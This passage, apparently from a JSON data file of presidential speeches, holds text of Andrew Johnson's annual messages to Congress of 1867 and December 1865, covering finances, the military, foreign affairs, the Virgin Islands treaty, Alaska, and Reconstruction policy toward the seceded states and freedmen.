the\nintolerable oppression on the virtuous and well disposed of a degraded\npaper currency authorized by law or in any way countenanced by\ngovernment. It is one of the most successful devices, in times of peace\nor war, expansions or revulsions, to accomplish the transfer of all the\nprecious metals from the great mass of the people into the hands of the\nfew, where they are hoarded in secret places or deposited in strong\nboxes under bolts and bars, while the people are left to endure all the\ninconvenience, sacrifice, and demoralization resulting from the use of\na depreciated and worthless paper money.The condition of our finances and the operations of our revenue system\nare set forth and fully explained in the able and instructive report of\nthe Secretary of the Treasury. On the 30th of June, 1866, the public\ndebt amounted to $2,783,425,879; on the 30th of June last it was\n$2,692,199,215, showing a reduction during the fiscal year of\n$91,226,664. During the fiscal year ending June 30, 1867, the receipts\nwere $490,634,010 and the expenditures $346,729,129, leaving an\navailable surplus of $143,904,880. It is estimated that the receipts\nfor the fiscal year ending June 30, 1868, will be $417,161,928 and that\nthe expenditures will reach the sum of $393,269,226, leaving in the\nTreasury a surplus of $23,892,702. For the fiscal year ending June 30,\n1869, it is estimated that the receipts will amount to $381,000,000 and\nthat the expenditures will be $372,000,000, showing an excess of\n$9,000,000 in favor of the Government.The attention of Congress is earnestly invited to the necessity of a\nthorough revision of our revenue system. Our internal-revenue laws and\nimpost system should be so adjusted as to bear most heavily on articles\nof luxury, leaving the necessaries of life as free from taxation as may\nbe consistent with the real wants of the Government, economically\nadministered. Taxation would not then fall unduly on the man of\nmoderate means; and while none would be entirely exempt from\nassessment, all, in proportion to their pecuniary abilities, would\ncontribute toward the support of the State. A modification of the\ninternal-revenue system, by a large reduction in the number of articles\nnow subject to tax, would be followed by results equally advantageous\nto the citizen and the Government. It would render the execution of the\nlaw less expensive and more certain, remove obstructions to industry,\nlessen the temptations to evade the law, diminish the violations and\nfrauds perpetrated upon its provisions, make its operations less\ninquisitorial, and greatly reduce in numbers the army of taxgatherers\ncreated by the system, who \"take from the mouth of honest labor the\nbread it has earned.\" Retrenchment, reform, and economy should be\ncarried into every branch of the public service, that the expenditures\nof the Government may be reduced and the people relieved from\noppressive taxation; a sound currency should be restored, and the\npublic faith in regard to the national debt sacredly observed. The\naccomplishment of these important results, together with the\nrestoration of the Union of the States upon the principles of the\nConstitution, would inspire confidence at home and abroad in the\nstability of our institutions and bring to the nation prosperity,\npeace, and good will.The report of the Secretary of War ad interim exhibits the operations\nof the Army and of the several bureaus of the War Department. The\naggregate strength of our military force on the 30th of September last\nwas 56,315. The total estimate for military appropriations is\n$77,124,707, including a deficiency in last year's appropriation of\n$13,600,000. The payments at the Treasury on account of the service of\nthe War Department from January 1 to October 29, 1867--a period of ten\nmonths--amounted to $109,807,000. The expenses of the military\nestablishment, as well as the numbers of the Army, are now three times\nas great as they have ever been in time of peace, while the\ndiscretionary, power is vested in the Executive to add millions to this\nexpenditure by an increase of the Army to the maximum strength allowed\nby the law.The comprehensive report of the Secretary of the Interior furnishes\ninteresting information in reference to the important branches of the\npublic service connected with his Department. The menacing attitude of\nsome of the warlike bands of Indians inhabiting the district of country\nbetween the Arkansas and Platte rivers and portions of Dakota Territory\nrequired the presence of a large military force in that region.\nInstigated by real or imaginary grievances, the Indians occasionally\ncommitted acts of barbarous violence upon emigrants and our frontier\nsettlements; but a general Indian war has been providentially averted.\nThe commissioners under the act of 20th July, 1867, were invested with\nfull power to adjust existing difficulties, negotiate treaties with the\ndisaffected bands, and select for them reservations remote from the\ntraveled routes between the Mississippi and the Pacific. They entered\nwithout delay upon the execution of their trust, but have not yet made\nany official report of their proceedings. It is of vital importance\nthat our distant Territories should be exempt from Indian outbreaks,\nand that the construction of the Pacific Railroad, an object of\nnational importance, should not be interrupted by hostile tribes. These\nobjects, as well as the material interests and the moral and\nintellectual improvement of the Indians, can be most effectually\nsecured by concentrating them upon portions of country set apart for\ntheir exclusive use and located at points remote from our highways and\nencroaching white settlements.Since the commencement of the second session of the Thirty-ninth\nCongress 510 miles of road have been constructed on the main line and\nbranches of the Pacific Railway. The line from Omaha is rapidly\napproaching the eastern base of the Rocky Mountains, while the terminus\nof the last section of constructed road in California, accepted by the\nGovernment on the 24th day of October last, was but 11 miles distant\nfrom the summit of the Sierra Nevada. The remarkable energy evinced by\nthe companies offers the strongest assurance that the completion of the\nroad from Sacramento to Omaha will not be long deferred.During the last fiscal year 7,041,114 acres of public land were\ndisposed of, and the cash receipts from sales and fees exceeded by\none-half million dollars the sum realized from those sources during the\npreceding year. The amount paid to pensioners, including expenses of\ndisbursements, was $18,619,956, and 36,482 names were added to the\nrolls. The entire number of pensioners on the 30th of June last was\n155,474. Eleven thousand six hundred and fifty-five patents and designs\nwere issued during the year ending September 30, 1867, and at that date\nthe balance in the Treasury to the credit of the patent fund was\n$286,607.The report of the Secretary of the Navy states that we have seven\nsquadrons actively and judiciously employed, under efficient and able\ncommanders, in protecting the persons and property of American\ncitizens, maintaining the dignity and power of the Government, and\npromoting the commerce and business interests of our countrymen in\nevery part of the world. Of the 238 vessels composing the present Navy\nof the United States, 56, carrying 507 guns, are in squadron service.\nDuring the year the number of vessels in commission has been reduced\n12, and there are 13 less on squadron duty than there were at the date\nof the last report. A large number of vessels were commenced and in the\ncourse of construction when the war terminated, and although Congress\nhad made the necessary appropriations for their completion, the\nDepartment has either suspended work upon them or limited the slow\ncompletion of the steam vessels, so as to meet the contracts for\nmachinery made with private establishments. The total expenditures of\nthe Navy Department for the fiscal year ending June 30, 1867, were\n$31,034,011. No appropriations have been made or required since the\nclose of the war for the construction and repair of vessels, for steam\nmachinery, ordnance, provisions and clothing, fuel, hemp, etc., the\nbalances under these several heads having been more than sufficient for\ncurrent expenditures. It should also be stated to the credit of the\nDepartment that, besides asking no appropriations for the above objects\nfor the last two years, the Secretary of the Navy, on the 30th of\nSeptember last, in accordance with the act of May 1, 1820, requested\nthe Secretary of the Treasury to carry to the surplus fund the sum of\n$65,000.000, being the amount received from the sales of vessels and\nother war property and the remnants of former appropriations.The report of the Postmaster-General shows the business of the\nPost-Office Department and the condition of the postal service in a\nvery favorable light, and the attention of Congress is called to its\npractical recommendations. The receipts of the Department for the year\nending June 30, 1867, including all special appropriations for sea and\nland service and for free mail matter, were $19,978,693. The\nexpenditures for all purposes were $19,235,483, leaving an unexpended\nbalance in favor of the Department of $743,210, which can be applied\ntoward the expenses of the Department for the current year. The\nincrease of postal revenue, independent of specific appropriations, for\nthe year 1867 over that of 1866 was $850,040. The increase of revenue\nfrom the sale of stamps and stamped envelopes was $783,404. The\nincrease of expenditures for 1867 over those of the previous year was\nowing chiefly to the extension of the land and ocean mail service.\nDuring the past year new postal conventions have been ratified and\nexchanged with the United Kingdom of Great Britain and Ireland,\nBelgium, the Netherlands, Switzerland, the North German Union, Italy,\nand the colonial government at Hong Kong, reducing very largely the\nrates of ocean and land postages to and from and within those\ncountries.The report of the Acting Commissioner of Agriculture concisely presents\nthe condition, wants, and progress of an interest eminently worthy the\nfostering care of Congress, and exhibits a large measure of useful\nresults achieved during the year to which it refers.The reestablishment of peace at home and the resumption of extended\ntrade, travel, and commerce abroad have served to increase the number\nand variety of questions in the Department for Foreign Affairs. None of\nthese questions, however, have seriously disturbed our relations with\nother states.The Republic of Mexico, having been relieved from foreign intervention,\nis earnestly engaged in efforts to reestablish her constitutional\nsystem of government. A good understanding continues to exist between\nour Government and the Republics of Hayti and San Domingo, and our\ncordial relations with the Central and South American States remain\nunchanged. The tender, made in conformity with a resolution of\nCongress, of the good offices of the Government with a view to an\namicable adjustment of peace between Brazil and her allies on one side\nand Paraguay on the other, and between Chile and her allies on the one\nside and Spain on the other, though kindly received, has in neither\ncase been fully accepted by the belligerents. The war in the valley of\nthe Parana is still vigorously maintained. On the other hand, actual\nhostilities between the Pacific States and Spain have been more than a\nyear suspended. I shall, on any proper occasion that may occur, renew\nthe conciliatory recommendations which have been already made. Brazil,\nwith enlightened sagacity and comprehensive statesmanship, has opened\nthe great channels of the Amazon and its tributaries to universal\ncommerce. One thing more seems needful to assure a rapid and cheering\nprogress in South America. I refer to those peaceful habits without\nwhich states and nations can not in this age well expect material\nprosperity or social advancement.The Exposition of Universal Industry at Paris has passed, and seems to\nhave fully realized the high expectations of the French Government. If\ndue allowance be made for the recent political derangement of industry\nhere, the part which the United States has borne in this exhibition of\ninvention and art may be regarded with very high satisfaction. During\nthe exposition a conference was held of delegates from several nations,\nthe United States being one, in which the inconveniences of commerce\nand social intercourse resulting from the diverse standards of money\nvalue were very fully discussed, and plans were developed for\nestablishing by universal consent a common principle for the coinage of\ngold. These conferences are expected to be renewed, with the attendance\nof many foreign states not hitherto represented. A report of these\ninteresting proceedings will be submitted to Congress, which will, no\ndoubt, justly appreciate the great object and be ready to adopt any\nmeasure which may tend to facilitate its ultimate accomplishment.On the 25th of February, 1862, Congress declared by law that Treasury\nnotes, without interest, authorized by that act should be legal tender\nin payment of all debts, public and private, within the United States.\nAn annual remittance of $30,000, less stipulated expenses, accrues to\nclaimants under the convention made with Spain in 1834. These\nremittances, since the passage of that act, have been paid in such\nnotes. The claimants insist that the Government ought to require\npayment in coin. The subject may be deemed worthy of your attention.No arrangement has yet been reached for the settlement of our claims\nfor British depredations upon the commerce of the United States. I have\nfelt it my duty to decline the proposition of arbitration made by Her\nMajesty's Government, because it has hitherto been accompanied by\nreservations and limitations incompatible with the rights, interest,\nand honor of our country. It is not to be apprehended that Great\nBritain will persist in her refusal to satisfy these just and\nreasonable claims, which involve the sacred principle of\nnonintervention--a principle henceforth not more important to the\nUnited States than to all other commercial nations.The West India islands were settled and colonized by European States\nsimultaneously with the settlement and colonization of the American\ncontinent. Most of the colonies planted here became independent nations\nin the close of the last and the beginning of the present century. Our\nown country embraces communities which at one period were colonies of\nGreat Britain, France, Spain, Holland, Sweden, and Russia. The people\nin the West Indies, with the exception of those of the island of Hayti,\nhave neither attained nor aspired to independence, nor have they become\nprepared for self-defense. Although possessing considerable commercial\nvalue, they have been held by the several European States which\ncolonized or at some time conquered them, chiefly for purposes of\nmilitary and naval strategy in carrying out European policy and designs\nin regard to this continent. In our Revolutionary War ports and harbors\nin the West India islands were used by our enemy, to the great injury\nand embarrassment of the United States. We had the same experience in\nour second war with Great Britain. The same European policy for a long\ntime excluded us even from trade with the West Indies, while we were at\npeace with all nations. In our recent civil war the rebels and their\npiratical and blockade-breaking allies found facilities in the same\nports for the work, which they too successfully accomplished, of\ninjuring and devastating the commerce which we are now engaged in\nrebuilding. We labored especially under this disadvantage, that\nEuropean steam vessels employed by our enemies found friendly shelter,\nprotection, and supplies in West Indian ports, while our naval\noperations were necessarily carried on from our own distant shores.\nThere was then a universal feeling of the want of an advanced naval\noutpost between the Atlantic coast and Europe. The duty of obtaining\nsuch an outpost peacefully and lawfully, while neither doing nor\nmenacing injury to other states, earnestly engaged the attention of the\nexecutive department before the close of the war, and it has not been\nlost sight of since that time. A not entirely dissimilar naval want\nrevealed itself during the same period on the Pacific coast. The\nrequired foothold there was fortunately secured by our late treaty with\nthe Emperor of Russia, and it now seems imperative that the more\nobvious necessities of the Atlantic coast should not be less carefully\nprovided for. A good and convenient port and harbor, capable of easy\ndefense, will supply that want. With the possession of such a station\nby the United States, neither we nor any other American nation need\nlonger apprehend injury or offense from any transatlantic enemy. I\nagree with our early statesmen that the West Indies naturally gravitate\nto, and may be expected ultimately to be absorbed by, the continental\nStates, including our own. I agree with them also that it is wise to\nleave the question of such absorption to this process of natural\npolitical gravitation. The islands of St. Thomas and St. John, which\nconstitute a part of the group called the Virgin Islands, seemed to\noffer us advantages immediately desirable, while their acquisition\ncould be secured in harmony with the principles to which I have\nalluded. A treaty has therefore been concluded with the King of Denmark\nfor the cession of those islands, and will be submitted to the Senate\nfor consideration.It will hardly be necessary to call the attention of Congress to the\nsubject of providing for the payment to Russia of the sum stipulated in\nthe treaty for the cession of Alaska. Possession having been formally\ndelivered to our commissioner, the territory remains for the present in\ncare of a military force, awaiting such civil organization as shall be\ndirected by Congress.The annexation of many small German States to Prussia and the\nreorganization of that country under a new and liberal constitution\nhave induced me to renew the effort to obtain a just and prompt\nsettlement of the long-vexed question concerning the claims of foreign\nstates for military service from their subjects naturalized in the\nUnited States.In connection with this subject the attention of Congress is\nrespectfully called to a singular and embarrassing conflict of laws.\nThe executive department of this Government has hitherto uniformly\nheld, as it now holds, that naturalization in conformity with the\nConstitution and laws of the United States absolves the recipient from\nhis native allegiance. The courts of Great Britain hold that allegiance\nto the British Crown is indefensible, and is not absolved by our laws\nof naturalization. British judges cite courts and law authorities of\nthe United States in support of that theory against the position held\nby the executive authority of the United States. This conflict\nperplexes the public mind concerning the rights of naturalized citizens\nand impairs the national authority abroad. I called attention to this\nsubject in my last annual message, and now again respectfully appeal to\nCongress to declare the national will unmistakably upon this important\nquestion.The abuse of our laws by the clandestine prosecution of the African\nslave trade from American ports or by American citizens has altogether\nceased, and under existing circumstances no apprehensions of its\nrenewal in this part of the world are entertained. Under these\ncircumstances it becomes a question whether we shall not propose to Her\nMajesty's Government a suspension or discontinuance of the stipulations\nfor maintaining a naval force for the suppression of that trade.", 
+    "name": "Andrew Johnson"
+}
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+{
+    "date": "December 4, 1865", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:To express gratitude to God in the name of the people for the\npreservation of the United States is my first duty in addressing you.\nOur thoughts next revert to the death of the late President by an act\nof parricidal treason. The grief of the nation is still fresh. It finds\nsome solace in the consideration that he lived to enjoy the highest\nproof of its confidence by entering on the renewed term of the Chief\nMagistracy to which he had been elected; that he brought the civil war\nsubstantially to a close; that his loss was deplored in all parts of\nthe Union, and that foreign nations have rendered justice to his\nmemory. His removal cast upon me a heavier weight of cares than ever\ndevolved upon any one of his predecessors. To fulfill my trust I need\nthe support and confidence of all who are associated with me in the\nvarious departments of Government and the support and confidence of the\npeople. There is but one way in which I can hope to gain their\nnecessary aid. It is to state with frankness the principles which guide\nmy conduct, and their application to the present state of affairs, well\naware that the efficiency of my labors will in a great measure depend\non your and their undivided approbation.The Union of the United States of America was intended by its authors\nto last as long as the States themselves shall last. \"The Union shall\nbe perpetual\" are the words of the Confederation. \"To form a more\nperfect Union,\" by an ordinance of the people of the United States, is\nthe declared purpose of the Constitution. The hand of Divine Providence\nwas never more plainly visible in the affairs of men than in the\nframing and the adopting of that instrument. It is beyond comparison\nthe greatest event in American history, and, indeed, is it not of all\nevents in modern times the most pregnant with consequences for every\npeople of the earth? The members of the Convention which prepared it\nbrought to their work the experience of the Confederation, of their\nseveral States, and of other republican governments, old and new; but\nthey needed and they obtained a wisdom superior to experience. And when\nfor its validity it required the approval of a people that occupied a\nlarge part of a continent and acted separately in many distinct\nconventions, what is more wonderful than that, after earnest contention\nand long discussion, all feelings and all opinions were ultimately\ndrawn in one way to its support? The Constitution to which life was\nthus imparted contains within itself ample resources for its own\npreservation. It has power to enforce the laws, punish treason, and\ninsure domestic tranquillity. In case of the usurpation of the\ngovernment of a State by one man or an oligarchy, it becomes a duty of\nthe United States to make good the guaranty to that State of a\nrepublican form of government, and so to maintain the homogeneousness\nof all. Does the lapse of time reveal defects? A simple mode of\namendment is provided in the Constitution itself, so that its\nconditions can always be made to conform to the requirements of\nadvancing civilization. No room is allowed even for the thought of a\npossibility of its coming to an end. And these powers of\nself-preservation have always been asserted in their complete integrity\nby every patriotic Chief Magistrate by Jefferson and Jackson not less\nthan by Washington and Madison. The parting advice of the Father of his\nCountry, while yet President, to the people of the United States was\nthat the free Constitution, which was the work of their hands, might be\nsacredly maintained; and the inaugural words of President Jefferson\nheld up \"the preservation of the General Government in its whole\nconstitutional vigor as the sheet anchor of our peace at home and\nsafety abroad.\" The Constitution is the work of \"the people of the\nUnited States,\" and it should be as indestructible as the people.It is not strange that the framers of the Constitution, which had no\nmodel in the past, should not have fully comprehended the excellence of\ntheir own work. Fresh from a struggle against arbitrary power, many\npatriots suffered from harassing fears of an absorption of the State\ngovernments by the General Government, and many from a dread that the\nStates would break away from their orbits. But the very greatness of\nour country should allay the apprehension of encroachments by the\nGeneral Government. The subjects that come unquestionably within its\njurisdiction are so numerous that it must ever naturally refuse to be\nembarrassed by questions that lie beyond it. Were it otherwise the\nExecutive would sink beneath the burden, the channels of justice would\nbe choked, legislation would be obstructed by excess, so that there is\na greater temptation to exercise some of the functions of the General\nGovernment through the States than to trespass on their rightful\nsphere. The \"absolute acquiescence in the decisions of the majority\"\nwas at the beginning of the century enforced by Jefferson as \"the vital\nprinciple of republics;\" and the events of the last four years have\nestablished, we will hope forever, that there lies no appeal to force.The maintenance of the Union brings with it \"the support of the State\ngovernments in all their rights,\" but it is not one of the rights of\nany State government to renounce its own place in the Union or to\nnullify the laws of the Union. The largest liberty is to be maintained\nin the discussion of the acts of the Federal Government, but there is\nno appeal from its laws except to the various branches of that\nGovernment itself, or to the people, who grant to the members of the\nlegislative and of the executive departments no tenure but a limited\none, and in that manner always retain the powers of redress.\"The sovereignty of the States\" is the language of the Confederacy, and\nnot the language of the Constitution. The latter contains the emphatic\nwords--This Constitution and the laws of the United States which shall\nbe made in pursuance thereof, and all treaties made or which shall be\nmade under the authority of the United States, shall be the supreme law\nof the land, and the judges in every State shall be bound thereby,\nanything in the constitution or laws of any State to the contrary\nnotwithstanding. Certainly the Government of the United States is a\nlimited government, and so is every State government a limited\ngovernment. With us this idea of limitation spreads through every form\nof administration--general, State, and municipal--and rests on the\ngreat distinguishing principle of the recognition of the rights of man.\nThe ancient republics absorbed the individual in the state--prescribed\nhis religion and controlled his activity. The American system rests on\nthe assertion of the equal right of every man to life, liberty, and the\npursuit of happiness, to freedom of conscience, to the culture and\nexercise of all his faculties. As a consequence the State government is\nlimited--as to the General Government in the interest of union, as to\nthe individual citizen in the interest of freedom.States, with proper limitations of power, are essential to the\nexistence of the Constitution of the United States. At the very\ncommencement, when we assumed a place among the powers of the earth,\nthe Declaration of Independence was adopted by States; so also were the\nArticles of Confederation: and when \"the people of the United States\"\nordained and established the Constitution it was the assent of the\nStates, one by one, which gave it vitality. In the event, too, of any\namendment to the Constitution, the proposition of Congress needs the\nconfirmation of States. Without States one great branch of the\nlegislative government would be wanting. And if we look beyond the\nletter of the Constitution to the character of our country, its\ncapacity for comprehending within its jurisdiction a vast continental\nempire is due to the system of States. The best security for the\nperpetual existence of the States is the \"supreme authority\" of the\nConstitution of the United States. The perpetuity of the Constitution\nbrings with it the perpetuity of the States; their mutual relation\nmakes us what we are, and in our political system their connection is\nindissoluble. The whole can not exist without the parts, nor the parts\nwithout the whole. So long as the Constitution of the United States\nendures, the States will endure. The destruction of the one is the\ndestruction of the other; the preservation of the one is the\npreservation of the other.I have thus explained my views of the mutual relations of the\nConstitution and the States, because they unfold the principles on\nwhich I have sought to solve the momentous questions and overcome the\nappalling difficulties that met me at the very commencement of my\nAdministration. It has been my steadfast object to escape from the sway\nof momentary passions and to derive a healing policy from the\nfundamental and unchanging principles of the Constitution.I found the States suffering from the effects of a civil war.\nResistance to the General Government appeared to have exhausted itself.\nThe United States had recovered possession of their forts and arsenals,\nand their armies were in the occupation of every State which had\nattempted to secede. Whether the territory within the limits of those\nStates should be held as conquered territory, under military authority\nemanating from the President as the head of the Army, was the first\nquestion that presented itself for decision.Now military governments, established for an indefinite period, would\nhave offered no security for the early suppression of discontent, would\nhave divided the people into the vanquishers and the vanquished, and\nwould have envenomed hatred rather than have restored affection. Once\nestablished, no precise limit to their continuance was conceivable.\nThey would have occasioned an incalculable and exhausting expense.\nPeaceful emigration to and from that portion of the country is one of\nthe best means that can be thought of for the restoration of harmony,\nand that emigration would have been prevented; for what emigrant from\nabroad, what industrious citizen at home, would place himself willingly\nunder military rule? The chief persons who would have followed in the\ntrain of the Army would have been dependents on the General Government\nor men who expected profit from the miseries of their erring\nfellow-citizens. The powers of patronage and rule which would have been\nexercised under the President, over a vast and populous and naturally\nwealthy region are greater than, unless under extreme necessity, I\nshould be willing to intrust to any one man. They are such as, for\nmyself, I could never, unless on occasions of great emergency, consent\nto exercise. The willful use of such powers, if continued through a\nperiod of years, would have endangered the purity of the general\nadministration and the liberties of the States which remained loyal.Besides, the policy of military rule over a conquered territory would\nhave implied that the States whose inhabitants may have taken part in\nthe rebellion had by the act of those inhabitants ceased to exist. But\nthe true theory is that all pretended acts of secession were from the\nbeginning null and void. The States can not commit treason nor screen\nthe individual citizens who may have committed treason any more than\nthey can make valid treaties or engage in lawful commerce with any\nforeign power. The States attempting to secede placed themselves in a\ncondition where their vitality was impaired, but not extinguished;\ntheir functions suspended, but not destroyed.But if any State neglects or refuses to perform its offices there is\nthe more need that the General Government should maintain all its\nauthority and as soon as practicable resume the exercise of all its\nfunctions. On this principle I have acted, and have gradually and\nquietly, and by almost imperceptible steps, sought to restore the\nrightful energy of the General Government and of the States. To that\nend provisional governors have been appointed for the States,\nconventions called, governors elected, legislatures assembled, and\nSenators and Representatives chosen to the Congress of the United\nStates. At the same time the courts of the United States, as far as\ncould be done, have been reopened, so that the laws of the United\nStates may be enforced through their agency. The blockade has been\nremoved and the custom-houses reestablished in ports of entry, so that\nthe revenue of the United States may be collected. The Post-Office\nDepartment renews its ceaseless activity, and the General Government is\nthereby enabled to communicate promptly with its officers and agents.\nThe courts bring security to persons and property; the opening of the\nports invites the restoration of industry and commerce; the post-office\nrenews the facilities of social intercourse and of business. And is it\nnot happy for us all that the restoration of each one of these\nfunctions of the General Government brings with it a blessing to the\nStates over which they are extended? Is it not a sure promise of\nharmony and renewed attachment to the Union that after all that has\nhappened the return of the General Government is known only as a\nbeneficence?I know very well that this policy is attended with some risk; that for\nits success it requires at least the acquiescence of the States which\nit concerns; that it implies an invitation to those States, by renewing\ntheir allegiance to the United States, to resume their functions as\nStates of the Union. But it is a risk that must be taken. In the choice\nof difficulties it is the smallest risk; and to diminish and if\npossible to remove all danger, I have felt it incumbent on me to assert\none other power of the General Government--the power of pardon. As no\nState can throw a defense over the crime of treason, the power of\npardon is exclusively vested in the executive government of the United\nStates. In exercising that power I have taken every precaution to\nconnect it with the clearest recognition of the binding force of the\nlaws of the United States and an unqualified acknowledgment of the\ngreat social change of condition in regard to slavery which has grown\nout of the war.The next step which I have taken to restore the constitutional\nrelations of the States has been an invitation to them to participate\nin the high office of amending the Constitution. Every patriot must\nwish for a general amnesty at the earliest epoch consistent with public\nsafety. For this great end there is need of a concurrence of all\nopinions and the spirit of mutual conciliation. All parties in the late\nterrible conflict must work together in harmony. It is not too much to\nask, in the name of the whole people, that on the one side the plan of\nrestoration shall proceed in conformity with a willingness to cast the\ndisorders of the past into oblivion, and that on the other the evidence\nof sincerity in the future maintenance of the Union shall be put beyond\nany doubt by the ratification of the proposed amendment to the\nConstitution, which provides for the abolition of slavery forever\nwithin the limits of our country. So long as the adoption of this\namendment is delayed, so long will doubt and jealousy and uncertainty\nprevail. This is the measure which will efface the sad memory of the\npast; this is the measure which will most certainly call population and\ncapital and security to those parts of the Union that need them most.\nIndeed, it is not too much to ask of the States which are now resuming\ntheir places in the family of the Union to give this pledge of\nperpetual loyalty and peace. Until it is done the past, however much we\nmay desire it, will not be forgotten, The adoption of the amendment\nreunites us beyond all power of disruption; it heals the wound that is\nstill imperfectly closed: it removes slavery, the element which has so\nlong perplexed and divided the country; it makes of us once more a\nunited people, renewed and strengthened, bound more than ever to mutual\naffection and support.The amendment to the Constitution being adopted, it would remain for\nthe States whose powers have been so long in abeyance to resume their\nplaces in the two branches of the National Legislature, and thereby\ncomplete the work of restoration. Here it is for you, fellow-citizens\nof the Senate, and for you, fellow-citizens of the House of\nRepresentatives, to judge, each of you for yourselves, of the\nelections, returns, and qualifications of your own members.The full assertion of the powers of the General Government requires the\nholding of circuit courts of the United States within the districts\nwhere their authority has been interrupted. In the present posture of\nour public affairs strong objections have been urged to holding those\ncourts in any of the States where the rebellion has existed; and it was\nascertained by inquiry, that the circuit court of the United States\nwould not be held within the district of Virginia during the autumn or\nearly winter, nor until Congress should have \"an opportunity to\nconsider and act on the whole subject.\" To your deliberations the\nrestoration of this branch of the civil authority of the United States\nis therefore necessarily referred, with the hope that early provision\nwill be made for the resumption of all its functions. It is manifest\nthat treason, most flagrant in character, has been committed. Persons\nwho are charged with its commission should have fair and impartial\ntrials in the highest civil tribunals of the country, in order that the\nConstitution and the laws may be fully vindicated, the truth dearly\nestablished and affirmed that treason is a crime, that traitors should\nbe punished and the offense made infamous, and, at the same time, that\nthe question may be judicially settled, finally and forever, that no\nState of its own will has the right to renounce its place in the Union.The relations of the General Government toward the 4,000,000\ninhabitants whom the war has called into freedom have engaged my most\nserious consideration. On the propriety of attempting to make the\nfreedmen electors by the proclamation of the Executive I took for my\ncounsel the Constitution itself, the interpretations of that instrument\nby its authors and their contemporaries, and recent legislation by\nCongress. When, at the first movement toward independence, the Congress\nof the United States instructed the several States to institute\ngovernments of their own, they left each State to decide for itself the\nconditions for the enjoyment of the elective franchise. During the\nperiod of the Confederacy there continued to exist a very great\ndiversity in the qualifications of electors in the several States, and\neven within a State a distinction of qualifications prevailed with\nregard to the officers who were to be chosen. The Constitution of the\nUnited States recognizes these diversities when it enjoins that in the\nchoice of members of the House of Representatives of the United States\n\"the electors in each State shall have the qualifications requisite for\nelectors of the most numerous branch of the State legislature.\" After\nthe formation of the Constitution it remained, as before, the uniform\nusage for each State to enlarge the body of its electors according to\nits own judgment, and under this system one State after another has\nproceeded to increase the number of its electors, until now universal\nsuffrage, or something very near it, is the general rule. So fixed was\nthis reservation of power in the habits of the people and so\nunquestioned has been the interpretation of the Constitution that\nduring the civil war the late President never harbored the\npurpose--certainly never avowed the purpose--of disregarding it; and in\nthe acts of Congress during that period nothing can be found which,\nduring the continuance of hostilities much less after their close,\nwould have sanctioned any departure by the Executive from a policy\nwhich has so uniformly obtained. Moreover, a concession of the elective\nfranchise to the freedmen by act of the President of the United States\nmust have been extended to all colored men, wherever found, and so must\nhave established a change of suffrage in the Northern, Middle, and\nWestern States, not less than in the Southern and Southwestern. Such an\nact would have created a new class of voters, and would have been an\nassumption of power by the President which nothing in the Constitution\nor laws of the United States would have warranted.On the other hand, every danger of conflict is avoided when the\nsettlement of the question is referred to the several States. They can,\neach for itself, decide on the measure, and whether it is to be adopted\nat once and absolutely or introduced gradually and with conditions. In\nmy judgment the freedmen, if they show patience and manly virtues, will\nsooner obtain a participation in the elective franchise through the\nStates than through the General Government, even if it had power to\nintervene. When the tumult of emotions that have been raised by the\nsuddenness of the social change shall have subsided, it may prove that\nthey will receive the kindest usage from some of those on whom they\nhave heretofore most closely depended.But while I have no doubt that now, after the close of the war, it is\nnot competent for the General Government to extend the elective\nfranchise in the several States, it is equally clear that good faith\nrequires the security of the freedmen in their liberty and their\nproperty, their right to labor, and their right to claim the just\nreturn of their labor. I can not too strongly urge a dispassionate\ntreatment of this subject, which should be carefully kept aloof from\nall party strife. We must equally avoid hasty assumptions of any\nnatural impossibility for the two races to live side by side in a state\nof mutual benefit and good will. The experiment involves us in no\ninconsistency; let us, then, go on and make that experiment in good\nfaith, and not be too easily disheartened. The country is in need of\nlabor, and the freedmen are in need of employment, culture, and\nprotection. While their right of voluntary migration and expatriation\nis not to be questioned, I would not advise their forced removal and\ncolonization. Let us rather encourage them to honorable and useful\nindustry, where it may be beneficial to themselves and to the country;\nand, instead of hasty anticipations of the certainty of failure, let\nthere be nothing wanting to the fair trial of the experiment. The\nchange in their condition is the substitution of labor by contract for\nthe status of slavery. The freedman can not fairly be accused of\nunwillingness to work so long as a doubt remains about his freedom of\nchoice in his pursuits and the certainty of his recovering his\nstipulated wages. In this the interests of the employer and the\nemployed coincide. The employer desires in his workmen spirit and\nalacrity, and these can be permanently secured in no other way. And if\nthe one ought to be able to enforce the contract, so ought the other.\nThe public interest will be best promoted if the several States will\nprovide adequate protection and remedies for the freedmen. Until this\nis in some way accomplished there is no chance for the advantageous use\nof their labor, and the blame of ill success will not rest on them.I know that sincere philanthropy is earnest for the immediate\nrealization of its remotest aims; but time is always an element in\nreform. It is one of the greatest acts on record to have brought\n4,000,000 people into freedom. The career of free industry must be\nfairly opened to them, and then their future prosperity and condition\nmust, after all, rest mainly on themselves. If they fail, and so perish\naway, let us be careful that the failure shall not be attributable to\nany denial of justice. In all that relates to the destiny of the\nfreedmen we need not be too anxious to read the future; many incidents\nwhich, from a speculative point of view, might raise alarm will quietly\nsettle themselves. Now that slavery is at an end, or near its end, the\ngreatness of its evil in the point of view of public economy becomes\nmore and more apparent. Slavery was essentially a monopoly of labor,\nand as such locked the States where it prevailed against the incoming\nof free industry. Where labor was the property of the capitalist, the\nwhite man was excluded from employment, or had but the second best\nchance of finding it; and the foreign emigrant turned away from the\nregion where his condition would be so precarious. With the destruction\nof the monopoly free labor will hasten from all pans of the civilized\nworld to assist in developing various and immeasurable resources which\nhave hitherto lain dormant. The eight or nine States nearest the Gulf\nof Mexico have a soil of exuberant fertility, a climate friendly to\nlong life, and can sustain a denser population than is found as yet in\nany part of our country. And the future influx of population to them\nwill be mainly from the North or from the most cultivated nations in\nEurope. From the sufferings that have attended them during our late\nstruggle let us look away to the future, which is sure to be laden for\nthem with greater prosperity than has ever before been known. The\nremoval of the monopoly of slave labor is a pledge that those regions\nwill be peopled by a numerous and enterprising population, which will\nvie with any in the Union in compactness, inventive genius, wealth, and\nindustry.Our Government springs from and was made for the people--not the people\nfor the Government. To them it owes allegiance; from them it must\nderive its courage, strength, and wisdom. But while the Government is\nthus bound to defer to the people, from whom it derives its existence,\nit should, from the very consideration of its origin, be strong in its\npower of resistance to the establishment of inequalities. Monopolies,\nperpetuities, and class legislation are contrary to the genius of free\ngovernment, and ought not to be allowed. Here there is no room for\nfavored classes or monopolies; the principle of our Government is that\nof equal laws and freedom of industry. Wherever monopoly attains a\nfoothold, it is sure to be a source of danger, discord, and trouble. We\nshall but fulfill our duties as legislators by according \"equal and\nexact justice to all men,\" special privileges to none. The Government\nis subordinate to the people; but, as the agent and representative of\nthe people, it must be held superior to 